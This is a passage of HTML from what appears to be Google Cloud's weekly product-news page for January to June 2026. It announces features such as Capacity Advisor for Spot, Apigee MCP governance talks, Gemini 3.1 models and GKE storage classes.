<li><strong>Optimize Spot VM Deployments with Capacity Advisor for Spot, Now in Public Preview<br></strong>Google Compute Engine has launched <strong>Capacity Advisor for Spot</strong> to Public Preview, now open to all customers. This tool turns Spot capacity discovery into a data-driven process by providing real-time deployment recommendations to maximize obtainability and minimize preemption risks. Query the <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/compute/docs/instances/view-vm-availability" rel="noreferrer noopener" target="_blank"><strong>Capacity Advisor API</strong></a> for obtainability and minimum estimated uptimes, or use the new <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://console.cloud.google.com/compute/capacityAdvisor" rel="noreferrer noopener" target="_blank"><strong>Console UI</strong></a> featuring a global availability map, spot price lookups, and historical preemption rate trends to visually find the most cost-efficient compute capacity.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/compute/docs/instances/view-vm-availability" rel="noreferrer noopener" target="_blank">Get started today</a> to start optimizing your Spot VM deployments!</li>
<li><strong>Build a multi-tenant agentic AI system<br></strong>When scaling generative AI across different business units, your teams need specialized AI agents with unique operational rules and tools. Our new reference architecture helps you build a centralized multi-tenant platform to prevent fragmented silos, eliminate data exposure risks, and maintain unified compliance. Read the guide to <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/architecture/multi-tenant-agentic-ai-system" rel="noreferrer noopener" target="_blank">design and deploy a multi-tenant agentic AI system</a> in Google Cloud.</li>
<li><strong>How to Configure Gemini Enterprise to Connect to a Custom MCP Server<br></strong>The Gemini Enterprise MCP Connector was a big announcement at Google Cloud Next because it introduces the ability to connect Gemini Enterprise to MCP servers. This blog <a href="https://medium.com/google-cloud/how-to-configure-gemini-enterprise-to-connect-to-a-custom-mcp-server-2e28adc96420" rel="noopener" target="_blank">post</a> provides a step-by-step guide on how to configure your first Custom MCP Server connector using the Google Maps Ground Lite MCP server as an example. Once you understand this flow, you can configure multiple MCP servers with Gemini Enterprise to bring all the context you need.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 8 - Jun 12</h3>
<ul>
<li><strong>Simplify Multi-Cloud Planning with Cloud Location Finder, now Generally Available</strong> <br>Cloud Location Finder provides up-to-date data on public regions, zones, and Google Distributed Cloud Connected locations across Google Cloud, AWS, Azure, and OCI. You can now programmatically discover locations based on provider, proximity, territory, and carbon footprint to optimize your global infrastructure strategy for performance, compliance, and sustainability. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="14" href="https://cloud.google.com/location-finder/docs" rel="noreferrer noopener" target="_blank">Get started for free today</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 1 - Jun 5</h3>
<ul>
<li><strong>Modeling the physical world with BigQuery Graph</strong><br>Managing complex supply chains requires more than just spreadsheets; it requires a digital replica of the physical world. In this <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://cloud.google.com/blog/products/data-analytics/modeling-a-digital-twin-using-bigquery-graph" rel="noreferrer noopener" target="_blank">post</a>, Guru Rangavittal and Candice Chen explore how BigQuery Graph enables organizations to build a digital twin by turning physical assets into an interconnected map of nodes and edges. By moving beyond traditional relational databases, businesses gain real-time clarity into operations—from executing surgical ingredient recalls to analyzing weather-driven logistics risks. Discover how BigQuery Graph transforms reactive firefighting into proactive, precision modeling, allowing you to see critical connections in seconds and future-proof your supply chain.</li>
<li><strong>Apigee for AI: Govern LLMs and MCP Servers (Presented in Spanish)<br></strong>Learn how to securely transition your AI initiatives from experimental prototypes to enterprise-ready deployments. Join Luis Cuellar on June 18 for a technical deep dive (presented in Spanish) exploring Apigee’s latest AI gateway capabilities. Discover how to centralize governance over Model Context Protocol (MCP) servers, protect Large Language Models (LLMs) with robust API gateway security policies, and manage token-based quotas.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4dyC2Ie" rel="noreferrer noopener" target="_blank"><strong>Register for the June 18 Spanish Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 25 - May 29</h3>
<ul>
<li>
<p><strong><a href="https://www.anthropic.com/news/claude-opus-4-8" rel="noopener" target="_blank"><span>Anthropic’s Claude Opus 4.8</span></a><span> is now available on </span><a href="https://console.cloud.google.com/vertex-ai/publishers/anthropic/model-garden/claude-opus-4-8"><span>Gemini Enterprise Agent Platform</span></a></strong><span><strong>. </strong></span><span>As we continue to expand our platform's model offerings, this addition gives organizations more options for handling complex, multi-stage enterprise workflows. Claude Opus 4.8 brings strong capabilities in agentic coding, allowing developers to manage extensive refactors and tracking dependencies over extended sessions.</span></p>
</li>
<li><strong>API Horizon Munich July 6, 2026: Orchestrating the Next Era of AI and APIs <br></strong>Master the orchestration of next-gen AI and digital ecosystems. Join Google Cloud experts and DACH tech leaders on July 6 for an exclusive look at the Apigee roadmap, Agent Management, and Model Context Protocol (MCP). Gain real-world insights and connect with the regional integration community.<strong><br><br><a href="https://goo.gle/4dTxQmo" rel="noopener" target="_blank">Register now</a></strong></li>
<li><strong>Securing AI Agents: The Extended Agent Gateway Pattern<br></strong>Learn how to prevent autonomous AI agents from invoking unauthorized APIs. Join Apigee Specialist Joel Gauci on June 4 for a technical deep dive into the Extended Agent Gateway pattern. This session covers enforcing Fine-Grained Authorization (FGA), implementing secure token exchange, and establishing Model Context Protocol (MCP) governance at the API gateway layer to protect enterprise backend services.<br><br><a href="https://goo.gle/4fbAsxg" rel="noopener" target="_blank"><strong>Register for the June 4 Community TechTalk</strong></a></li>
<li><strong>API-to-Agent Security: Exposing REST APIs to Gemini Enterprise via MCP<br></strong>Connect Gemini Enterprise agents to core data without creating security hazards. Join Google Cloud Specialist Nigel Walters on June 11 to learn how to instantly transform legacy REST APIs into secure Model Context Protocol (MCP) servers. We’ll cover how to safely register tools with Gemini while enforcing gateway-level guardrails like rate limiting and access control policies.<br><br><a href="https://goo.gle/4nVyjIr" rel="noopener" target="_blank"><strong>Register for the June 11 Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 18 - May 22</h3>
<ul>
<li><strong>Chinese Webinar | June 4: AI Command and Control<br></strong>As AI agents move from experimental pilots to core enterprise functions, governance has become a critical next step. Join Google Cloud on June 4th at 10:00 AM (Beijing Time) to learn how to build a secure AI management layer architecture. We'll explore how to develop governed MCP (Model Context Protocol) endpoints, manage tool access to enterprise data, and leverage robust audit logs to operationalize AI. This session also includes a practical demonstration of these governance frameworks on Google Cloud.<br><br><a href="https://goo.gle/4dx4Lf5" rel="noopener" target="_blank">Register here</a></li>
<li><strong>GCP Announces New Features to Benchmark and Optimize LLMs for On-Device Use Cases<br></strong>Deploying fine-tuned LLMs from GCP to edge devices like smartphones is complex due to fragmented hardware. Google AI Edge Portal bridges this gap, giving GCP developers the ability to test AI performance on 120+ Android devices, representing the full diversity of high, medium, and low tier smartphones on the market today. This week at I/O, we announced brand new <a href="https://cloud.google.com/blog/products/ai-machine-learning/benchmark-llms-on-device-with-ai-edge-portal" rel="noopener" target="_blank">capabilities</a> to benchmark and debug LLM performance across these devices. <a href="https://docs.google.com/forms/d/e/1FAIpQLSfTcGPycQve8TLAsfH46pBlXBZe9FrgJAClwbF7DeL1LgVn4Q/viewform" rel="noopener" target="_blank">Sign-up</a> to utilize these new features in private preview today.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 11 - May 15</h3>
<ul>
<li><strong>Build Your AI &amp; MCP Control Tower for Universal Governance<br></strong>Master the future of agentic security with Apigee. Join our Community TechTalk on May 21 to discover how Apigee serves as a central "Control Tower" for the Model Context Protocol (MCP). We will explore how new JSON-RPC tool authorization enables fine-grained access policies across your organization, ensuring secure and scalable AI deployments. Whether managing internal tools or external users, learn to govern your agentic ecosystem with absolute precision. This session is designed for global coverage across EMEA and AMER regions.<br><br><a href="https://goo.gle/4u9slWF" rel="noopener" target="_blank">Register for the May 21 Community TechTalk</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 27 - May 1</h3>
<ul>
<li><strong>Master Your Launch: The Apigee Production Go-Live Checklist<br></strong>Ensure a secure launch with the Apigee production guide. Join Nicola Cardace on May 28 to explore security guardrails, including IAM roles, mTLS configurations, and encrypted KVM migrations. Scheduled at 11 AM EDT / 5 PM CEST to support EMEA and AMER teams, this TechTalk provides the technical roadmap you need to flip the switch with absolute confidence.<br><br><strong><a href="https://goo.gle/4elMCTI" rel="noopener" target="_blank">Register for the May 28 Community TechTalk</a></strong></li>
<li>
<p><strong>Transforming APIs into Governed Agentic Tools on the Google Cloud Agentic Platform<br></strong><span>Turn your APIs into secure, governed agentic tools on the Google Cloud Agentic Platform. Join Specialist Christophe Lalevée on May 7 for a technical deep dive into AI productization. Scheduled at 5 PM CEST / 11 AM EDT to maximize coverage for developers across EMEA and AMER, this session explores the integration and governance frameworks required to scale enterprise-ready AI with confidence.</span></p>
<p><a href="https://goo.gle/3PfWm7M" rel="noopener" target="_blank">Register for the May 7 Community TechTalk</a></p>
</li>
<li><a href="https://docs.cloud.google.com/compute/docs/accelerator-optimized-machines#g4-machine-types" rel="noopener" target="_blank">Fractional G4 VMs</a> are Generaly Available, providing a highly efficient and cost-effective entry point for AI and graphics workloads. These new configurations, using NVIDIA virtual GPU (vGPU) technology, allow you to leverage the power of the NVIDIA RTX PRO 6000 Blackwell Server Edition GPUs in flexible, smaller increments, so you can right-size your infrastructure to match the specific demands of your applications. By providing more granular access to advanced hardware, fractional G4 VMs let you optimize resource allocation and reduce overhead without sacrificing performance. You can now select from additional GPU slice sizes for your specific needs:
<ul>
<li><strong>1/2 GPU:</strong> Ideal for more intensive tasks such as LLM inference, robotics sensor simulation, and high-fidelity 3D rendering.</li>
<li><strong>1/4 GPU:</strong> Optimized for mainstream workloads, including mid-range creative design, video transcoding, and real-time data visualization.</li>
<li><strong>1/8 GPU:</strong> Great for lightweight applications such as remote desktops, productivity tools, and entry-level streaming services.</li>
</ul>
</li>
<li>
<p>Transitioning AI from a sandbox prototype to an enterprise-grade system is a major hurdle. A monolithic script won't suffice for widespread deployment. To achieve true scale and reliability with Gemini, organizations must adopt service-oriented micro-agent architectures, establish Zero-Trust security, and implement rigorous EvalOps. Master the "Agentic Maturity Ladder" to ensure your AI &amp; Agentic solutions are robust, secure, and ready for the real world.</p>
<p><a href="https://lnkd.in/gHBH8cTv" rel="noopener" target="_blank">Watch the deep dive</a> and <a href="https://discuss.google.dev/t/beyond-the-prototype-scaling-production-grade-agents-with-gemini/356140" rel="noopener" target="_blank">read the developer blog</a> to learn more.</p>
</li>
<li><strong>ML Development in VS Code with Google Cloud Power: Workbench Extension Now Available<br></strong>Data scientists and developers can now combine the local productivity of VS Code with the scalable infrastructure of Google Cloud. The new Google Cloud Workbench Notebooks extension allows you to connect to and run notebooks on managed cloud environments directly within your local IDE. This integration streamlines the ML lifecycle by eliminating context switching and providing high-performance compute for complex workloads in a familiar interface. As part of our commitment to the developer ecosystem, the extension is fully open-sourced to support community-driven innovation.
<ul>
<li><strong>Install from Marketplace:</strong> <a href="https://marketplace.visualstudio.com/items?itemName=GoogleCloudTools.workbench-notebooks" rel="noopener" target="_blank">GoogleCloudTools.workbench-notebooks</a></li>
<li><strong>Contribute on GitHub:</strong> <a href="https://github.com/GoogleCloudPlatform/colab-enterprise-vscode" rel="noopener" target="_blank">colab-enterprise-vscode</a></li>
</ul>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 20 - Apr 24</h3>
<ul>
<li><strong>Announcing the 2026 Google Cloud Partners of the Year<br></strong>Google Cloud is honored to celebrate the winners of the 2026 Partner of the Year awards! These awards recognize an exceptional group of partners across AI, Security, Infrastructure, and more, who have demonstrated a commitment to customer success. From global system integrators to specialized startups, these winners are leveraging the power of Google Cloud to solve complex challenges and drive digital transformation worldwide. Join us in congratulating these organizations for their innovation, collaboration, and impactful results over the past year.<br><br>See the <a href="https://cloud.google.com/blog/topics/partners/2026-partners-of-the-year-winners-next26">2026 Partner Award winners</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 13 - Apr 17</h3>
<ul>
<li>We're excited to announce the <strong>Public Preview of Datastream’s metadata integration with Knowledge Catalog</strong>. This is the first step in our vision to provide a centralized, "single pane of glass" for all Datastream assets. The enhancement automatically synchronizes Streams, Connection Profiles, and Private Connections, eliminating data silos. It enhances discoverability, allowing you to search for Datastream assets using the same interface as BigQuery tables. Centralized governance is also provided, making your real-time data estate more transparent and easier to manage.</li>
<li><strong>Upgrading Apigee OPDK to 4.53 with OS Modernization<br></strong>Modernize your infrastructure using Google’s official, sequential upgrade path. Our Technical expert, Rakesh Talanki outlines how to upgrade Apigee OPDK to v4.53 while migrating to a supported OS (RHEL 8.x/9.x). This guide covers the "build-out" methodology, including multi-data center syncing, to ensure a stable, zero-downtime transition<br><br><a href="https://goo.gle/3Oa8uqy" rel="noopener" target="_blank">Read the guide</a></li>
<li><strong>Cloud Run Worker Pools and CREMA: Powering Serverless AI at Scale<br></strong>Google Cloud has announced the General Availability of <strong>Cloud Run worker pools</strong>, a new resource type designed specifically for pull-based, non-HTTP workloads. Unlike traditional Cloud Run services that scale based on request traffic, worker pools provide an "always-on" environment for background tasks like processing message queues or running large-scale AI inference. To support this, Google Cloud also open-sourced the <strong>Cloud Run External Metrics Autoscaler (CREMA)</strong>. Built on KEDA, CREMA enables queue-aware autoscaling for worker pools, allowing them to dynamically scale based on external signals like Pub/Sub backlog or Kafka lag.</li>
<li><strong>Apigee Model Context Protocol (MCP) now Generally Available<br></strong>Expose enterprise APIs as MCP tools for agentic AI applications with the General Availability of MCP in Apigee. This update allows developers to transform APIs into AI-ready tools using OpenAPI Specifications, removing the need for local MCP servers or additional infrastructure. With managed endpoints and semantic search in API hub, you can now provide AI agents with secure, governed access to enterprise data at scale.<br><br><a href="https://goo.gle/3QfoEQ4" rel="noopener" target="_blank"><em>Explore the MCP overview</em></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 6 - Apr 10</h3>
<ul>
<li><strong>Community TechTalk: Powering Retail Agents with ADK, UCP &amp; Apigee X<br></strong>Move beyond basic chatbots to secure, transactional AI experiences. Join our Community TechTalk on April 16 to learn how Apigee X and Gemini build a "Trust Layer" for AI shopping assistants using UCP standards. We’ll demonstrate how to block prompt injections with Model Armor and implement cost governance via token limits to secure the path from discovery to purchase.<br><br><a href="https://goo.gle/41ocUgq" rel="noopener" target="_blank"><span>Register for the TechTalk</span></a></li>
<li><strong>Implement multimodal capabilities in your AI agents<br></strong>Explore three new reference architectures for building sophisticated multi-agent AI systems that can process and analyze multimodal data. To analyze disparate multimodal data and produce a high-confidence classification, see <a href="https://docs.cloud.google.com/architecture/agentic-ai-classify-multimodal-data"><span>Classify multimodal data</span></a><span>. To create a fluid conversational AI that processes audio and video streams in real time, see</span> <a href="https://docs.cloud.google.com/architecture/agentic-ai-bidirectional-multimodal-streaming"><span>Enable live bidirectional multimodal streaming</span></a><span>. To consolidate fragmented multimodal data into a searchable knowledge graph, see</span> <a href="https://docs.cloud.google.com/architecture/agentic-ai-multimodal-graph-rag-resource-orchestration"><span>Multimodal GraphRAG resource orchestration</span></a><span>.</span></li>
<li><strong>Automate SecOps workflows with an agentic AI system<br></strong>To accelerate incident response and reduce manual toil for your security team, you need a system that can automate remediation playbooks. Our new reference architecture helps you build an AI agent that orchestrates complex triage and investigation workflows across disparate security tools, such as SIEM, CSPM, and EDR, from a single interface. See the full guide to <a href="https://docs.cloud.google.com/architecture/agentic-ai-orchestrate-security-ops-workflows"><span>orchestrate security operations workflows</span></a><span>.</span></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 30 - Apr 3</h3>
<ul>
<li><strong>ASEAN Webinar | April 30: Mastering Agentic Governance at Scale with GCP<br></strong>As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud experts <strong>Shilpi Puri &amp; Wely Lau</strong> for a <strong>webinar</strong> on <strong>April 30th at 11:00 AM SGT</strong> to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.<br><br><a href="https://goo.gle/47FX1Wn" rel="noopener" target="_blank"><strong>RSVP here.</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 23 - Mar 27</h3>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Turn your API sprawl into an agent-ready catalog<br></strong><span>As organizations scale, APIs often become scattered across multiple gateways, creating "blind spots" that hinder AI adoption. To solve this, we’ve introduced two new capabilities for Apigee API hub: a new integration with API Gateway to automatically centralize API metadata into a single control plane, and a specification boost add-on (now in public preview). This add-on uses AI to enhance your API documentation with the precise examples and error codes that AI agents need to function reliably.<br><br></span><a href="https://goo.gle/47dEYqc" rel="noopener" target="_blank"><span>Read the full blog post to get started.</span></a></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Webinar | April 16: AI Command &amp; Control<br></strong><span>As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud expert Satyam Maloo for a webinar on April 16th at 11:00 AM IST to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.<br><br></span><a href="https://goo.gle/4t43Vg4" rel="noopener" target="_blank"><span>RSVP here.</span></a></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Modernizing and Decoupling Event Ingestion with Apigee<br></strong><span>In modern cloud-native architectures, decoupling producers from consumers is critical for building resilient systems. While Google Cloud Pub/Sub provides a scalable backbone, exposing it directly to external clients can introduce security and management overhead. This new guide explores how to leverage Apigee as an intelligent HTTP ingestion point. Learn how to handle security, mediation, and traffic control before messages reach your internal bus using the PublishMessage policy or Pub/Sub API.</span><br><br><a href="https://goo.gle/3POgsWF" rel="noopener" target="_blank"><span>Read the full guide.</span></a></p>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 16 - Mar 20</h3>
<ul>
<li><strong>Gemini-powered Assistant in BigQuery Studio Gets Context-Aware Upgrades<br></strong>The Gemini-powered assistant in BigQuery Studio has been transformed into a fully context-aware analytics partner, supporting your entire data lifecycle. The new capabilities include intelligent resource discovery, which uses Dataplex Universal Catalog search to find resources across projects and deep dive into metadata using natural language. You can now automate tasks, such as scheduling production-grade queries directly through the chat interface, and instantly troubleshoot long-running or failed jobs with root cause analysis and cost control auditing.<br><br><a href="https://docs.cloud.google.com/bigquery/docs/use-cloud-assist">Explore</a> the full range of what the assistant can do.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 9 - Mar 13</h3>
<ul>
<li>
<div><strong>Want to use Gemini to develop code and don't know where to start?</strong><br>This <a href="https://medium.com/google-cloud/supercharge-your-spark-development-with-gemini-1540f1cb47d4" rel="noopener" target="_blank">article</a> includes a couple of examples of developing code with Gemini prompts; it identified changes that were needed to be made to get the code working. The article also refers to other examples that are available on github. </div>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 2 - Mar 6</h3>
<ul>
<li>
<p><span><strong>Introducing Gemini 3.1 Flash-Lite, our fastest and most cost-efficient Gemini 3 series model.</strong> Built for high-volume developer workloads at scale, 3.1 Flash-Lite delivers high quality for its price and model tier. Gemini 3.1 Flash-Lite can tackle tasks at scale, like high-volume translation and content moderation, where cost is a priority. And it can also handle more complex workloads where more in-depth reasoning is needed, like generating user interfaces and dashboards, creating simulations or following instructions.</span></p>
<p><span>Starting today, 3.1 Flash-Lite is rolling out in preview to enterprises via </span><a href="https://console.cloud.google.com/vertex-ai/studio/multimodal?mode=prompt&amp;model=gemini-3.1-flash-lite-preview"><span>Vertex AI</span></a><span> and </span><span>developers via the Gemini API in </span><a href="https://aistudio.google.com/prompts/new_chat?model=gemini-3.1-flash-lite-preview" rel="noopener" target="_blank"><span>Google AI Studio</span></a><span>.</span></p>
</li>
<li>
<div>
<p><strong>TechTalk: Implementing Device Authorization Grant (RFC 8628) for Apigee</strong><br>Learn how to authorize "headless" devices like Smart TVs or AI agents that lack keyboards and browsers. Join our Community TechTalk on March 19 (5PM CET / 12PM EDT) to go under the hood of Apigee X/Hybrid. We’ll cover the real-world mechanics of state management, polling, and human-in-the-loop security patterns for devices and autonomous agents.</p>
<p><a href="https://goo.gle/4r6o6Zi" rel="noopener" target="_blank">Register for the TechTalk</a></p>
</div>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Feb 23 - Feb 27</h3>
<ul>
<li>
<p><span><strong>Pro-level image generation gets faster and more accessible with Nano Banana 2<br></strong></span><span>Nano Banana 2 is our state-of-the-art image generation and editing model. It delivers Pro-level image generation and editing at the speed you expect from Flash — making the quality, reasoning, and world knowledge you loved about Nano Banana Pro more accessible. Learn more about the model </span><a href="https://blog.google/innovation-and-ai/technology/ai/nano-banana-2" rel="noopener" target="_blank"><span>here</span></a><span>.</span></p>
</li>
</ul>
<ul>
<li>
<p><strong>The Intelligent Path to Compliance: Transforming Regulatory QC with Google Cloud<br></strong><span>Reducing "Refuse to File" (RTF) risks and submission cycle times is critical for life sciences leaders. Google Cloud’s Regulatory Submission Semantic QC Auditor leverages Gemini and RAG architecture to transform Quality Control from a manual burden into an active, intelligent workflow.</span></p>
<p><span>By automating semantic cross-referencing, narrative coherence checks, and dynamic guidance-based auditing, this solution ensures rigorous accuracy and auditability. Operating within a secure GxP-ready environment, it empowers teams to detect subtle inconsistencies and generate remediation plans without sacrificing data privacy. <br><br></span><a href="https://discuss.google.dev/t/the-intelligent-path-to-compliance-transforming-regulatory-quality-control-with-google-cloud/335276" rel="noopener" target="_blank"><span>Learn more</span></a><span>.</span></p>
</li>
<li><span><span>Stop typing, start interacting! <strong>The Gemini Live Agent Challenge is here</strong>. Build immersive agents that can help you see, hear, and speak using Gemini and Google Cloud. Compete for your share of $80,000+ in prizes and a trip to Google Cloud Next '26!<br><br></span><span>Submissions are open from February 16, 2026 to March 16, 2026. Learn more and register at </span><a href="http://geminiliveagentchallenge.devpost.com/" rel="noopener" target="_blank"><span>geminiliveagentchallenge.devpost.com</span></a></span></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Feb 9 - Feb 13</h3>
<ul>
<li>
<p><strong><span>Introducing Gemini 3.1 Pro on Google Cloud. </span></strong></p>
<span>3.1 Pro is a noticeably smarter, more capable baseline for complex problem-solving. We’re shipping 3.1 Pro at scale, building upon our </span><a href="https://cloud.google.com/blog/products/ai-machine-learning/gemini-3-is-available-for-enterprise?e=48754805"><span>goal</span></a><span> to help you transform your business for the agentic future. Learn more about the model’s capabilities </span><a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-1-pro" rel="noopener" target="_blank"><span>here</span></a><span>. Gemini 3.1 Pro is available starting today in preview in </span><a href="https://cloud.google.com/vertex-ai?e=48754805"><span>Vertex AI</span></a><span> and </span><a href="https://cloud.google.com/gemini-enterprise?e=48754805"><span>Gemini Enterprise</span></a><span>. Developers can access the model in preview via the Gemini API in </span><a href="https://aistudio.google.com/prompts/new_chat?model=gemini-3.1-pro-preview" rel="noopener" target="_blank"><span>Google AI Studio</span></a><span>, </span><a href="https://developer.android.com/studio" rel="noopener" target="_blank"><span>Android Studio</span></a><span>, </span><a href="https://antigravity.google/blog/gemini-3-1-in-google-antigravity" rel="noopener" target="_blank"><span>Google Antigravity</span></a><span>, and </span><a href="https://geminicli.com/" rel="noopener" target="_blank"><span>Gemini CLI</span></a><span>.<br><br></span></li>
<li><strong>Automate Storage Compatibility with GKE Dynamic Default Storage Classes<br></strong>Managing storage across mixed-generation VM clusters in GKE just got easier. With the new <strong>Dynamic Default Storage Class</strong>, Google Kubernetes Engine automatically selects between Persistent Disk (PD) and Hyperdisk based on a node's specific hardware compatibility. This abstraction eliminates the need for complex scheduling rules and manual pairing, ensuring your volumes "just work" regardless of the underlying infrastructure. By defining both variants in a single class, you reduce operational overhead while maintaining peak performance and cost-efficiency across your entire cluster.<br><br><a href="https://docs.cloud.google.com/kubernetes-engine/docs/concepts/hyperdisk#automated_disk_type_selection" rel="noopener" target="_blank">Explore automated disk type selection</a></li>
<li>
<p><strong>Community TechTalk: AI-Powered Apigee Development with strofa.io<br></strong><strong>Join the Apigee community on February 26</strong><span> for a deep dive into</span> <a href="https://www.google.com/search?q=http://strofa.io" rel="noopener" target="_blank"><span>strofa.io</span></a><span>. Guest speaker Denis Kalitviansky will demonstrate how this new AI-powered tool automates and orchestrates Apigee development, from local emulators to large-scale hybrid environments. Discover how to scale your API management and streamline team collaboration using the latest in AI-driven automation.</span></p>
<p><a href="https://goo.gle/3Oerns3" rel="noopener" target="_blank"><span>Register now to reserve your spot.</span></a></p>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jan 26 - Jan 30</h3>
<ul>
<li><strong><span>Simplify API Governance with Native OpenAPI v3 Support<br></span></strong>Eliminate integration debt and accelerate deployment velocity with the General Availability of OpenAPI v3 (OASv3) support for API Gateway and Cloud Endpoints. You no longer need to downgrade modern specifications to OASv2. Instead, you can now define API contracts and enforce critical policies—including telemetry, quotas, and security—using native Google-specific extensions directly within your OASv3 files. This update ensures your APIs are secure by design while remaining fully compatible with the modern developer ecosystem and Google Cloud’s AI services.<br><br><a href="https://goo.gle/49Wx58Z" rel="noopener" target="_blank"><span>Get started with OpenAPI v3 on API Gateway and Cloud Endpoints.</span></a></li>
</ul>
<ul>
<li><strong><span>Accelerate API Testing with the New Open Source API Tester<br></span></strong>Start validating your APIs with API Tester, a simple, YAML-based Test Driven Development (TDD) framework. Designed for the Apigee community, this tool allows you to write human-readable tests, run them instantly via a web client or CLI, and perform deep unit testing on Apigee proxies. With native support for JSONPath assertions and Apigee shared flows, you can verify everything from payload data to internal variables like <code>proxy.basepath</code><span> without leaving your terminal.<br><br></span><a href="https://goo.gle/4q5WDGK" rel="noopener" target="_blank"><span>Explore the API Tester guide and start testing your proxies today.</span></a></li>
<li><strong><span>Secure Sensitive Data with Kubernetes Secrets in Apigee hybrid<br></span></strong>Enhance security in Apigee hybrid by accessing Kubernetes Secrets directly within your API proxies. This hybrid-exclusive feature keeps sensitive credentials within your cluster boundary and prevents replication to the management plane. It supports strict separation of duties: operators manage secrets via <code>kubectl</code><span>, while developers reference them as secure flow variables—ideal for high-compliance and GitOps workflows.<br><br></span><a href="https://goo.gle/4qEVffo" rel="noopener" target="_blank"><span>Implement Kubernetes Secrets in your hybrid proxies.</span></a></li>
